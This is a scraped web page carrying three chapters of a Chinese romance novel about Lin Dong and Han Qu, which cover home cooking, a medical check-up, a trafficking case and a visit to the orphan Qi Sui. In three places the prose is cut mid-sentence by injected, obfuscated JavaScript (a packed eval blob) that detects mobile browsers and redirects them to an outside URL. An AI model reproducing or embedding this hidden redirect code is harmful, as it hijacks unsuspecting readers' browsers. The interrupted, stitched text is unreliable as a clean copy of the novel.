上午韩渠照例去了治安局,凛冬没立即跟他说自己今天要下厨,一来怕他不允许,二来怕自己下厨失败。训练场上又响起操练声,凛冬这回却没有去顶楼看,拿着包下了楼。昨晚韩渠又给他上药按摩,现在左脚已经看不出肿胀了,只要走路时让右脚多承受些力道,走路就没有问题。 疗养所外100来米就有个小型市场,这会儿正是生意好的时候。凛冬转了大半圈,脑中过着各种豪华美食,无奈想着容易做着难,他实在没本事将它们实现在几小时后的饭桌上。最后,他买了虾、排骨、鸡翅,再加上青菜、土豆、豆干等,各种调料带上一大包,出了市场才意识到买多了,左脚不得不受力,走到家门口时伤处已经开始痛了。 他心虚地挽起裤子,一边揉着脚踝一边哄,“你可得争气啊,不然韩队回来不吃我的饭,还要跟我生气。” 痛过一阵儿后,凛冬又感觉没事了,立即在厨房张罗起来,他准备做一个酸辣粉丝虾煲,一个红烧鸡翅,排骨本来想炖的,但时间不大够,而且两人吃的话,两个荤菜够了,于是暂时将排骨冻起来,下顿再做,最后再弄个炒时蔬就行了。 红烧鸡翅是凛冬最有把握的,刚当明星时,对身材还没有后来那种病态的在乎,馋了就自己做点鸡翅来吃,就着汤汁能干掉三碗饭。酸辣粉丝虾煲最简单,只需要给虾开背去下线,再洗洗干净就好,用的酸辣酱是在市场现买的。纱雨镇的酸辣酱和国内不一样,有这边独有香料的味道,很冲,但凛冬很喜欢,韩渠也吃得惯,所以他才想做这个。 11点50,离韩渠去治安局食堂还有十来分钟,凛冬再次检查两道荤菜,确认味道合格,这才给韩渠发去消息。 “韩哥,今天卢克老大请吃饭,跟我们一起去吧!”训练一结束,特警们就把韩渠包围上了。 韩渠刚把手机拿出来,还没来得及看凛冬发了什么,笑道:“我吃食堂。” “食堂难吃死了!”特警们吐槽起自家食堂来毫不留情,“走吧哥,吃海鲜煲去!” 韩渠还是摇头,“下次,今天我有事。” 见说不动韩渠,特警们只得作罢,“那下次一定啊,韩哥,我想跟你喝酒!” 打发了特警,韩渠一边往食堂走一边点开消息,脚步忽然停住。 [凛冬:韩队,今天不吃食堂了吧,我去门口的市场买了点菜,已经做好了。] 韩渠唇角弯起,原地转向,将刚还执意要去的食堂丢在身后。 “诶韩哥来了!”特警们看到跟上来的韩渠,高兴道:“走啊韩哥,吃海鲜煲!” 韩渠步伐比他们快,很快就超过他们,先一步来到治安局大门,“不了,你们吃。” “那你上哪吃去啊?” “回家吃,家里有菜。” 众特警:“……” [韩队:马上回来!] 凛冬握着手机紧张了好一会儿,担心韩渠说他乱跑,收到这条消息后当即放松,坐在凳子上开心地晃着腿。直到听见开门的声音,才突然想起得意忘形,青菜都忘了炒! 韩渠一进屋,就看见凛冬仿佛打着转儿地从他眼前炫过,他下意识伸手一拉,扯住了凛冬的后领,“干什么呢这是?药油抹鞋底了?” 凛冬急道:“我忘了炒最后一个菜!” 韩渠往厨房一看,淘过的青菜已经沥好水,蒜瓣和干辣椒也已经切好了,只剩最后一道热油煎炒的工序。韩渠笑了笑,将凛冬推到墙边,挽起衣袖,“我来吧。” 菜倒进锅里,热油轰然作响,几秒后,香气就逸散开来。凛冬添饭摆筷子,韩渠将青菜端上桌时,他还有点不好意思,“让你炒了个菜。” “我还让你做了这一桌。”韩渠对酸辣粉丝虾煲很有兴趣,“这个很难做吧?” 凛冬舀起一大勺虾就往韩渠碗里放,“不会,酱都是现成的。” 韩渠一口一个虾,凛冬忙问:“怎么样?” “好吃。” 凛冬悄悄吐气,心中欢愉,自己也动了筷子。 没一会儿,韩渠忽然用上扬的调子“哦”了一声,凛冬一看,他正在吃红烧鸡翅。“这个更好吃!”韩渠又夹了一块,“这个也是现成的酱吗?哪里买的?” 凛冬脸颊顿时红了,“这个,这个不是。是我自己现调的。” “太好吃了!”韩渠接连赞叹,“我从没吃过这么好吃的鸡翅。” “是,是吗?”凛冬被他说得越来越脸红,本以为他最满意的是酸辣粉丝虾煲,毕竟那个很有当地特色,没想到红烧鸡翅这种家常得不能更家常的菜更受青睐。 “真的。”韩渠脸上挂着餍足的笑容,“这个汤汁我能吃三碗饭。” 凛冬再也忍不住笑意,笑得肩膀都抖了起来。 “怎么了?”韩渠不知道他怎么突然笑成这样。 凛冬也往自己碗里夹鸡翅,还舀了一勺汤汁,“我以前刚给经纪人打工时,他们饿我饭,我就悄悄做红烧鸡翅给自己吃,每次吃三碗饭。” 韩渠扬了扬眉梢,端起碗,凛冬愣了片刻,也端起碗,和韩渠的轻轻一碰。 肉足饭饱的特警们回到治安局,韩渠已经等候着了,卢克请的这顿是纱雨镇名气最大的海鲜煲,特警们为韩渠没能吃到而惋惜,有人喊:“韩哥,你中午不跟我们吃,错过了最美味的海鲜煲!” 韩渠毫不在意,“我们中午吃的也是海鲜煲,酸辣粉丝虾煲,算海鲜煲的一种吧?” 特警们面面相觑,“那当然算,我们今天也有虾煲。” “那你们有红烧鸡翅吗?”韩渠洋洋得意,“没有吧?” “这……这还真没有。” “所以还是我吃得好一些。”不等特警们转过弯来和他争辩,他已经摆起教官的架子,将人鸭子似的赶到训练场。 凛冬又来到顶楼,趴在栏杆上看治安局,愉快地晃着头。刚才那顿饭,带给他的不仅是满足,还有一种陌生的踏实。他几乎没有感受过踏实。 初入娱乐圈被打压、嘲讽,给人当垫脚石的时期不用说,就连后来走红,成为大众认知中的宠儿,他依旧没有一刻双脚落地,甚至比之寂寂无名时更加担惊受怕。他那短暂的精神问题就是那时出现。他忘了难过时可以烧一碗红烧鸡翅来安慰自己,他只知道自己需要节食,如果不能保持耀眼的外貌,随时会被后起之秀取代。 这是他因为羽风而爆红后,第一次做红烧鸡翅,只是想给喜欢的人做个简单的家常菜,不要难吃得无法下咽就好了,喜欢的人却给了他最高的评价——三碗饭。 把他蒸的晚饭也吃掉了。 想到韩渠那吃得滋滋有味的样子,他又弯起眼睛,已经开始计划明天做点什么。 下午4点多,训练场上依旧热火朝天,但凛冬看见韩渠和队员说了几句什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475320|152766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后就离开了。他的角度看不到韩渠去了哪里,以为是有别的工作,但没一会儿,顶楼的铁门忽然响了一声。 顶楼平时没人来,凛冬已经摸到规矩了,这一声吓了他一跳,他连忙转身,韩渠笑道:“果然在这儿。” 凛冬有一丝被抓现场的尴尬,但次数多了,可能脸皮也厚起来,已经不是很有所谓。“怎么回来了?” “带你去复查。”韩渠说:“下面没人,猜你在顶楼。” 下午的纱雨镇还挺热闹,来来往往很多送建材的车,路上堵一阵通一阵。凛冬说:“其实我想明天去复查,我自己去就可以。” “有个人给你当司机不好啊?”韩渠现在说什么话,都似乎带着点玩笑,“明天的安排多,不大有空,今天任务完得早,正好。” “不是不好。”凛冬想了想,“总觉得太麻烦你了。” 车再次因为前方拥堵而停下,韩渠索性看向凛冬,“哪这么见外呢?我吃你的饭见外了没?” 凛冬反驳,“不是见外,我不知道怎么说……”他皱起眉,后面一句很轻。 身在异国他乡,差点小命不保,受了点伤,这时候喜欢的人陪在身边,谁会不愿意?他又不是什么圣人,没有多么高尚的觉悟。但他喜欢的人是韩渠,他便无法放任自己去占有韩渠。这是个为了不认识的平民,几乎献出生命的人,只是占有韩渠一点时间和关注,他都有种负罪感。他没有办法向任何人解释,没有人会懂。 “你们天天把我焊在训练场上才开心。”韩渠说:“你,卢克,再加个李东池,陈争都没你们狠心。” “我没这么想!”凛冬急了,“我也希望你多休息。” 韩渠笑道:“别有负担,我现在的时间很自由,想做什么,都可以自己安排。” 凛冬闷闷地说:“我知道。” 韩渠缓缓往前开,还把音乐打开了,“你知道什么你就知道。” 凛冬抿了下嘴,争不过韩渠,干脆当个老实的伤号。但韩渠还喋喋不休上了,“以前使唤我教这教那的时候一点儿不客气,还想偷我的刀。” 人总是要成长的啊。凛冬心里想着。“那时候不成熟……” “是是,我们冬冬哥那时候还小,不懂事。”韩渠故意学着凛冬的口吻。 凛冬一个恶寒,有些毛了,“韩队!” “哈哈哈——”韩渠爽朗地笑着,“生气啦。好了不逗你了,前面到了。” 医院人不多,虽说是韩渠送凛冬复诊,可凛冬勉强算半个本地人,挂号上楼轻车熟路。医生查看后说没有大问题了,接下去注意左脚少受力,半个月之后就能彻底恢复。又感叹了句,还是你们外国人懂得爱护自己身子,换个纱雨镇的,可能已经摔得二次骨折了。 医生说者无心,出了诊室,凛冬忽然拉住韩渠的衣袖,说了声“谢谢”。 “哎——”韩渠夸张地叹气,“这一天一个谢的,我经不住啊,都要被你谢老了。” “那我不说了。明天想吃什么?”凛冬说:“我上午去买。” 韩渠点了菜,但比起菜,韩渠似乎对别的更感兴趣,“经常自己做菜吗?” 凛冬下意识摇头。经常做菜这种事就不可能发生在他身上,他忙,还嫌麻烦,基本不下厨。 “那手艺还这么好?天才啊。”话从韩渠口中说出来,分毫阴阳怪气都没有,凛冬低头无声地笑。 “我虽然没那么天才,但也能炒几个菜,就今天那个水平。”韩渠停下脚步,在人流中回头问凛冬,“等你脚好了,我们也继续搭伙,怎么样?” 17.第 17 章 17 韩渠提到“搭伙”的时候,凛冬当即想到了家里尚未整理出来的院子,那块空地是要种菜还是铺草坪?还是铺草坪吧,火车总不能从菜地上驶过。 看见凛冬侧过脸笑,韩渠也笑道:“搭伙有什么不对吗?” 凛冬摇摇头,“好,但我要回去收拾一下。” 回到疗养所之前,韩渠都不知道凛冬要收拾什么,凛冬将被子从卧室抱出来扔在沙发上,他皱起眉,“你这是……” “我想睡外面。”凛冬将沙发展开,认真地说:“我现在又不怎么做事,但你不一样,你白天那么忙,在那些器械上飞来飞去的,我都看到了。你最应该睡在里面好好休息。” 韩渠眉心松开,“什么叫我飞来飞去?”说着,他还故意展开手臂,做了个挥舞“翅膀”的动作,“这么飞吗?” 凛冬本来挺严肃的,被他这么一打岔,破了功,“反正我睡意已决,我非要睡沙发!”凛冬往沙发上一躺,卷起被子裹住自己,露出两只眼睛盯着韩渠,心想你总不能将我扛进去。 但韩渠真的能。 “啊——”连人带被子被韩渠扛在肩上,凛冬喊叫起来,“韩队!” 客厅到卧室就这么几步路,韩渠手一松,凛冬在床上滚了几个轱辘,头发也乱了,坐起来时眼神还有一丝惊恐。不讲道理啊韩渠! 韩渠在床边坐下,赶在凛冬申诉之前说:“我听说你睡眠不是很好。” 凛冬张开的嘴闭上了,顿了下才说:“白一瞎说的,他觉得睡不够八小时的人都会死,但也不是所有人都需要睡那么久。” “所以你就是睡眠不好。”韩渠说:“我睡眠很好。” “……”凛冬无语,“我们比这个?” “我挨着枕头就能睡着。”韩渠还真比上了,“而且这种程度的工作,挠挠痒而已。” “那也……”凛冬说:“我痒都不挠呢。” 韩渠笑起来,“非要跟我算那么清啊?” “不是!”凛冬连忙否认,“我只是觉得你在外面睡得不好。” “你在外面才会睡不好。”韩渠说:“等以后回国了,还是要上好医院看看去。” 凛冬发现韩渠几番有意无意提到回国之后,而他又总是回避这个话题。他们的搭伙只是暂时的,在这一点上,他十分清醒。 谁睡卧室谁睡沙发的问题在韩渠的蛮不讲理下解决了。次日,凛冬和韩渠一起出门,去市场里吃酸辣豆腐脑和煎饼,然后韩渠去治安局,凛冬在市场里买菜。韩渠对红烧鸡翅情有独钟,点名又要吃,凛冬高兴的同时又有点担心,觉得韩渠会腻,所以多买了些海鲜和牛肉,用芹菜等香味重的蔬菜和辣子炒成一锅。 训练场上,韩渠只出现了一会儿,凛冬没空守在顶楼,没看到韩渠,便回厨房专研食谱去了。 治安局,韩渠正在监控里看温省等人的审讯。凛冬和温省的这场冲突简直是拔出萝卜带出泥,温省表面看是个遵纪守法的商人,顶多贪财好色了点,但卢克查了几日,才发现这人涉嫌人口.贩卖。 阿功那失踪的姐姐阿谨,很可能就是被卢克的人口.贩卖团伙拐走。阿功找工作时,并不知道温省和姐姐失踪有关,至于后来知不知道,人死已不能言。温省让手下杀死阿功,算是一箭双雕,他怀疑阿功已经发现了什么,只能灭口。不过,温省不承认,警方暂时也没有得到强有力的证据。 卢克很兴奋,M国百废待兴,李东池每次跟各地的治安长官开会,都要求解决人口贩卖的问题,解救网正在一步步建立。卢克如今逮到了温省这么一条大鱼,查下去,说不定能将和温省有关的团伙连根拔起,这样一来,他升迁的路就通了。 卢克跟韩渠保证,温省在他手上栽定了,温省的那些手下也一个别想逃。 治安局的调查进展,韩渠并未同步给凛冬,吃饭时,凛冬却主动提到阿功,“我今天在市场上听到别人说阿功了。” 韩渠刚添了一碗饭回来,一勺汤汁浇下去,香味扑鼻,“说什么?” 凛冬叹了口气,“他们的家庭其实跟白一家差不多。” M国战乱的时候,成年人几乎都打仗去了,家中剩下老弱病残苟延残喘。白家本来还算富裕,但仗打了没多久就不行了,白一、白闪,其他家人搬到一栋居民楼里住,结果楼被炸塌,他们成了那栋居民楼里唯二活下来的人。 阿功和姐姐阿谨的境遇更糟糕,村庄早就被洗劫一空了,阿谨被人糟蹋,为了相依为命的弟弟撑了几年,眼看着战火终于有了平息的征兆,却一夜之间消失不见。 阿功从小身体就不行,运气也不好,逃窜的雇佣兵占了他们的房子,阿功被打得头破血流,眼看着人就要没了,阿谨顾不上危险,半夜去镇里找医生,再也没有回来。阿功勉强活下来,醒来就找阿谨。 没给温省当保镖之前,他每天都在市场干活。他身材单薄,力气不行,老板们不愿意用他,他只能凌晨就在市场外守着,送货的车一来,第一个冲上去扛货,这样才能赚到一点活命的钱。 但对他来说,仅仅是活着还不够,他要去找阿谨。有一天他忽然不来市场了,老板们后来打听到,他找到了富贵活儿,看不上市场的活儿了,为此还揶揄了他好一阵。 如今阿功死了的事传到市场,认识阿功的人反应各不相同,有人嘲笑他接的哪是什么富贵活儿,分明是提前拿了一份卖命钱,有人感慨他这一辈子实在是不易,像他这样的,只是想活着都是奢望。 凛冬在市场听了许久,归结起来,阿功这一生,在知道他名字的人眼中,“没意思”三字足以概括。 “其实大部分人活着就是没什么意思。”凛冬已经吃完了,有感而发。 “怎么没有?”韩渠夹着鸡翅,“吃红烧鸡翅就很有意思。” 凛冬那点消沉因为韩渠的话消散大半,眼中重现光彩,一个想法忽然在他脑中出现,“我想帮阿功找到他姐姐。” 韩渠抬眸,“打算怎么找?” 凛冬说:“我有钱。” “……”韩渠一边无语一边朝凛冬竖起大拇指。 凛冬说完也发现自己这话说得太离谱了,“我其实还没有计划好,但据我在纱雨镇待这几个月的经验,钱在找人这件事上能起到作用,而且我做运输物流,有一些人脉。” 韩渠看了凛冬一会儿,“你来M国之后做了好多事啊。” 凛冬没想到韩渠这么说,“也,也没有很多,跑跑运输,送点快递什么的。” 韩渠一直看着他,但这次没有说话。凛冬想想只得加上:“哦,还在酒吧组乐队来着。” 韩渠笑道:“我们冬冬哥好忙。”凛冬正要反驳,韩渠又说:“忙点好,省得闲下来就想人生没有意思。” 凛冬胸膛像是被轻轻敲了一下,原来韩渠还在在意他刚才那句话。 “人生多有意思啊。”韩渠继续夹鸡翅,还冲凛冬抬了抬眉梢,“对不对?” 凛冬心里软软的,郑重其事点头,“对!” 走调的歌声从阳台传来,凛冬擦着头发,歪着身子去看,韩渠正背对着他,不知在阳台干什么,看样子不像是在玩手机。凛冬轻手轻脚走过去,但还未走近,歌声就停了,韩渠转身:“想搞偷袭啊?” 凛冬下意识立正站好,“我什么水平,我能偷袭……”话未说完,他就看见韩渠手中眼熟的帽子,“这不是……” 韩渠扬了下手,他手腕上挂着一只口袋,里面装线,手里拿着粗针,平平无奇的线经过针的来回,就变成了配色十分妖艳的帽子。 上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14483398|152766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次韩渠说帽子是自己织的,凛冬将信将疑,这次看到现场,更加惊讶,伸手就要摸,“你真会啊?” 韩渠好笑,“所以你只是假装相信?” “再让我看看!”凛冬兴致勃勃,“这里怎么勾上去?” “这样,再这样,很简单。”韩渠边说边织。 凛冬看了几个来回,别说手了,眼睛都没会,“不是,这个怎么这么难?”不应该啊,韩渠教他匕首,教他擒拿,他可是很快就摸到门道的。 对上凛冬那自我怀疑的目光,韩渠又笑了,“有的人天生是个衣架子,知道什么意思吗?” 凛冬满脑子“他怎么那么轻松,我为什么不会”,听都没听清楚就摇头。 韩渠说:“意思就是,有人衣来伸手,帽来伸头就是了。”说完,将快要织好的帽子往凛冬头上比了比。 凛冬能从一众小明星中脱颖而出,除了外形格外优越,骨子里那不服输的劲头也必不可少,现在虽然佛了,但经不起韩渠激,他怎么就只能帽来伸头了! “我来!”抢过韩渠的粗针,奋起织了两下后发现错位,凛冬抬头找韩渠,只见韩渠一脸看好戏的神情。 “你织啊。”韩渠抄着手说。 眼看再织下去,帽子就要毁了,凛冬只得双手捧上粗针,“韩哥,还得你来。” 韩渠这才装模作样接过,几拆几织,被凛冬织坏的部分就平整了。韩渠朝他递了递,“继续?” 凛冬立马摆手,“不了不了,弄坏就不能送治安局的小朋友了。” 韩渠说:“治安局?” 凛冬上回看到这个帽子,以为是韩渠做了送给治安局某位队员的小孩,“不是?” “治安局那么多人,我织得过来?”韩渠手上动作加快,帽子主要的花纹已经织好,今晚就能收尾。 凛冬好奇,“那是?” “差点忘了说,这小孩儿你也认识。” 凛冬更想知道了,“谁啊?” 韩渠停下动作,清清嗓子,似乎酝酿着什么,几秒后,他学着齐穗的语气,“冬冬哥!” 史无前例的夹子音,凛冬当场觉得自己已经被夹死了,目瞪口呆地看着韩渠,“你,你……”托韩渠的福,他这一声也不由得夹起来。 韩渠嫌弃地退后两步,“你怎么突然夹起来了?” 凛冬外焦里嫩,到底是谁先夹的啊!他咳了好几声,终于将正常的嗓音请回来了,但脑中一团浆糊,完全领会不到韩渠那声“冬冬哥”是在学谁。 “明天我休息,出不出去转转?”韩渠问。 凛冬镇定道:“走啊,去哪儿?” “开车上山,呼吸一下新鲜空气。”韩渠给帽子收了针,“顺便把这帽子送出去。” 凛冬的认知里,纱雨镇周围就一座山,卡利斯学堂就在上面。说起来,他已经挺久没去教汉语了,起初是中了流感,白一让他别去祸害小孩,之后脚又受伤,也不知道小崽子们有没有想念他。 想到那些身世可怜,却又招人疼的孩子,凛冬唇角弯了弯,语气温柔,“我也经常去山上。” 手上忽然落下毛茸茸的触感,凛冬回神一看,发现韩渠将帽子放在他手上了。 “我前阵子去,齐穗指着你的照片,给我介绍,这是他的冬冬哥,还说要让我俩见见。”韩渠说,“明天我俩过去吓他一跳,让他知道我俩早就认识了。” 听到齐穗的名字,凛冬惊讶,“帽子是给小穗的?你们认识?” “对啊,‘冬冬哥’我都是跟他学的。”韩渠笑道:“冬冬哥比我还受欢迎,他说以后要给你当司机。” 齐穗是整个卡利斯学堂里,凛冬最喜欢的孩子,忙追问:“你们怎么认识的?” “哟,冬冬哥想听睡前故事了。” 18.第 18 章 18 车在山路上环绕,凛冬怀里抱着给齐穗的彩色帽子——现在帽子外面已经加了个精美的包装袋,他再次感慨齐穗和韩渠的缘分,“M国当时那种情况,小穗要是遇到其他人,或者遇不到任何人,一定早就没了。” 韩渠说:“那也不一定。要看遇到的是谁。” 凛冬侧过头,“嗯?” “如果遇到的是他的冬冬哥,冬冬哥会想办法保护他。”韩渠笑着瞥凛冬一眼。 凛冬每次听到韩渠说“冬冬哥”,都会耳根发热,“我,我那个时候不在M国。” “本来就是在假设。”韩渠叹了口气,“其实我丢下他回到任务中时,很清楚自己放弃了一条性命。他能活下来,是他的命。” “你没有别的选择。”凛冬说:“你已经为他做到极致了。” 韩渠弯起唇角,“是啊,没想到还能找到他,更没想到你‘接手’了他。” 凛冬低头看着礼品袋,袋子和彩带是昨晚韩渠织好帽子后,他们开车去附近的杂货铺买的。镭射纸闪闪发亮,配上荧光粉红蝴蝶结,没有哪个小孩儿会不喜欢。 “在齐穗这件事上,我们好像更有缘分。”韩渠说。 “啊,是。”凛冬刚才说韩渠和齐穗有缘时,后面其实还跟着一句话,现在他没说出来的话被韩渠说出来了,他低声附和,心脏砰砰乱跳几下。 不久,车在卡利斯学堂的空坝上停下,西式建筑中传来孩子们朗诵的稚嫩声音,老师、志愿者们正带着部分孩子在操场上锻炼身体。 凛冬提前和志愿者主任联系过,对方是位中年女性,笑着迎上来,“凛先生,有一阵没见着你了,孩子们都很想你。”说着,主任看见凛冬身后的韩渠,觉得眼熟,“这位是……” “你好,我和卢克先生一起来过。”韩渠说。 主任想起来了,“是齐穗的哥哥!齐穗正在上劳动课呢,帮我们种菜,凛先生知道地方。” 循着主任指的方向,凛冬带着韩渠向学院后方的田野走去。已经是冬天了,纱雨镇也只有山上温度低一些,走在山间,空气潮湿却也清新,沿途开着一片说不出名字的野花。韩渠弯腰薅了一把,拿在手中转来转去。 “学堂还教种菜?”韩渠颇为好奇,他在纱雨镇没见过谁搞耕种,前些天和凛冬进村子里,村民们放任大片田地慌着,也不种点东西。 “本地人不种,他们吃海。”凛冬解释,“但卡利斯学堂是外国人开的,志愿者啊,老师啊,有些是咱们国家过来的人,后山土地还算肥沃,不用白不用。学堂种的菜已经够吃了,等到了明年后年,果树成熟,水果也能自给自足。” 韩渠挥挥手上的野花,“厉害。” 前面已经看得见田地了,小孩们在老师的带领下分散劳作,像一个个五颜六色的蘑菇。凛冬在“蘑菇”中找了会儿,没看到齐穗,还是韩渠发挥狙击手视力,锁定目标,“你看那是不是?” 离他们最远的角落,站着四五个小孩,不像是在种菜,似乎在聚众说小话。凛冬看着就乐了,谁都当过小孩,体育课、手工课总是有不守纪律的小孩,正事不干,凑在一块儿玩自己的。 “你小时候肯定也这样。”韩渠看出凛冬在想什么。 “那你呢?”凛冬说:“你从来不这样?”我不信。 “我?我是那个带头的。”两人说笑着往齐穗走去,中途,却发现事情和他们想象的不一样。 齐穗突然推了前面的小孩一把,大声叫起来。他说的是M国语,凛冬懂M国语,但齐穗此时口齿不清,他一句也没听懂,皱着眉加快步子。韩渠也赶上,“别急,小孩打架,我们先看看。” 终于近到听得清齐穗在说什么,凛冬却突然停下脚步。齐穗双眼通红,却硬是不让眼泪掉下来,男孩们围着他喊:“你冬冬哥被警察抓了,他是犯人!他再也不能来教你了!”齐穗撕心裂肺地吼着,张牙舞爪扑向男孩们,“你们放屁,你们都是屎!” “我们才没有放屁!不然他为什么不来了?” “他是大老板!他很忙!” “他就是被警察抓了!齐穗,你也是小犯人,看谁以后还罩着你!” 韩渠要上前,凛冬却将他挡住,深吸气,喊道:“小穗!” 齐穗正和男孩们打作一团,闻声一愣,立即被一个胖男孩骑住。但他不挣扎了,双眼紧紧盯着凛冬,确定来的真的是他的冬冬哥,突然爆发出惊天的哭声,“哇——” 男孩们都看到凛冬了,更是被齐穗的哭声吓得够呛,胖男孩滚了个轱辘,被其他男孩拉着跑了。齐穗还坐在地上,浑身泥巴菜叶,脏得像个粪球。凛冬快步上前,还未来得及蹲下抱他,他已经死死抱住凛冬的腿,扬起哭花的脸,“冬冬哥,你终于来了!” “好了好了。”凛冬也不嫌“粪球”脏,将齐穗抱起来,用袖子擦了擦他的脸,“不哭啊。” 可齐穗哭得更凶了。 韩渠走过来,朝齐穗伸手,“来,我抱,有什么冲着我,你冬冬哥腿受伤了,抱不动你。” 齐穗之前都没注意到韩渠也来了,看见韩渠,眼睛睁得溜圆,语言也切换成了汉语,“哥,哥哥来了!” 怀里没了齐穗这个负担,凛冬撑了撑左脚,韩渠用口型问:没事吧?凛冬摇头,示意无碍。 男孩们跑去跟老师告状,反而被老师教训了一顿,田地这一头安静下来,凛冬找了段梯坎,三人一起坐在梯坎上。齐穗止住哭,手一直拉着凛冬的袖子,委屈得不行,“冬冬哥,你怎么这么久都不来?” “我得了流感,又把腿给摔了。”凛冬摸摸齐穗的脑袋。这孩子是他在学堂见过的最乖巧懂事的孩子,很老实,学习认真,劳动也勤快,被欺负了总是自己消化,他从未见过齐穗像今天这样发狂。 齐穗连忙蹲下,双手小心翼翼地拍着他的腿,心痛道:“冬冬哥,痛痛。” 凛冬牵住他的小手,“不痛了,已经好了。” “是不是警察打你了?”齐穗哽咽道:“警察坏!” “警察又成坏的了?那长大还当不当警察?”韩渠揪着齐穗的后领,鸡仔儿似的将他拎到自己这边来,“来,我跟你说说冬冬哥是怎么回事儿。” 韩渠没提凛冬向温省讨债的过程,只简单说了凛冬向坏人拿回应得的货款,坏人想嫁祸给凛冬,但凛冬聪明,保留证据证明自己的清白。听完,齐穗眨巴着明亮的眼睛,“我就知道冬冬哥好,他们瞎说,我都给冬冬哥打回去了!” 凛冬听得心中温暖,韩渠揉齐穗的脑袋,“就是这架打得像小狗咬人。” 齐穗缩到凛冬身边,用凛冬的腿挡住韩渠。小孩儿的小动作引人发笑,凛冬拿起镭射礼品袋,在凛冬面前晃了晃,“看看这是什么?” 齐穗开心道:“是给我的礼物吗!” “对,是韩……”凛冬顿了顿,“是韩渠哥哥给你织的帽子。” “哇哦!”齐穗抱住礼品袋,十分珍惜地拆开蝴蝶结,拿出帽子时又叫了一声,欢天喜地地戴在头上。 那帽子的配色在凛冬看来着实太妖艳了,但齐穗戴着却正好,像是…… 凛冬正想着,韩渠忽然说:“你看这家伙,浑身脏兮兮灰扑扑,就脑袋鲜艳,像不像粪球上开了一朵花?” 凛冬:“……” 齐穗美了半天,终于发现奇怪之处。他看看凛冬,又看看韩渠,“冬冬哥,哥哥,你们,怎么一起来了呢?” “你们,认识呀?” 齐穗扑向韩渠,“哥哥骗人,上次还假装不认识冬冬哥!” 凛冬挑眉看韩渠,韩渠拍齐穗,“怎么还兴告状?” 齐穗瘪嘴,对韩渠和凛冬认识这件事既高兴又不高兴,“那我就不能介绍你们认识了啊。” 小孩子的烦恼千奇百怪,凛冬莞尔,站起来走到一旁,“那重新介绍一下?” 齐穗顿时快乐起来,跑来牵住凛冬,扯着凛冬往韩渠走,脚步翻得飞快,迫不及待的样子很是滑稽,跑到了又牵住韩渠,郑重其事道:“冬冬哥,这是我哥哥,是他救了我的命,他是个特别厉害的特警!” 说完转向韩渠,“哥哥,这是冬冬哥,他教我汉语,我以后都可以用汉语和你说话了,他,他是大老板,有钱,长得特别好看!” 齐穗这段汉语一定练习了许多次,像是参加朗诵比赛,乍一听很喜剧,但听到最后,凛冬心中越发酸软。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492072|152766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人的视线逐渐从齐穗身上转移到彼此,四目相对,短暂的对视中,眸底各自划过深意。韩渠打破这一刻的安静,“冬冬哥,你好啊。” 凛冬脸颊烫了下,照齐穗的称呼,他应该说:哥哥,你也好。但实在是说不出口,低头,却看见齐穗期待地望着自己。 “……” 片刻,凛冬终于小声说:“韩渠哥哥,你也好啊。” 韩渠笑得见牙不见眼,齐穗看见韩渠放在梯坎上的野花,蹦蹦跳跳拿起,“哥哥,这是你送给冬冬哥的花吗?” 韩渠自然地接过,递给凛冬,“对呀,是哥哥送给冬冬哥的。” “哇!冬冬哥快拿!” 凛冬低着头,接过野花时碰到了韩渠的手。齐穗围着他们拍手,开心得唱起歌来。凛冬稍稍稳下心绪,听清齐穗唱的是韩渠偶尔哼的歌,只是韩渠本就走调,齐穗就更离谱了。 劳动课结束,齐穗什么都没干,凛冬和老师聊了会儿,叫韩渠一块儿去收菜,韩渠说他脚还干不了活儿,一个人把活儿包圆了,中午理直气壮地在食堂蹭午餐。 齐穗因为凛冬不来的事,和男孩们吵架两天了,顿顿吃不好,今天有两个哥哥陪着,吃得比胖男孩还要多,最后去还盘子时,肚子都挺着了。 凛冬难得来一次,下午留下来给孩子们上汉语课,起初不知道怎么安排韩渠,但韩渠马上就给自己找到了事做——去上体育课。凛冬安下心来,认真上课。 学堂的小孩虽然也有爱欺负人的,就像和齐穗打架的胖男孩,但总的来说,并没有麻烦到让人从心底里厌烦的孩子。他们都在战争中失去了家人,想到这一点,凛冬就格外有耐心。 齐穗是汉语课上最认真的小孩,凛冬每次提问,他都是举手最积极的,凛冬点了他两次后,就把机会给其他小孩了,下课后,他还委屈巴巴地望着凛冬。 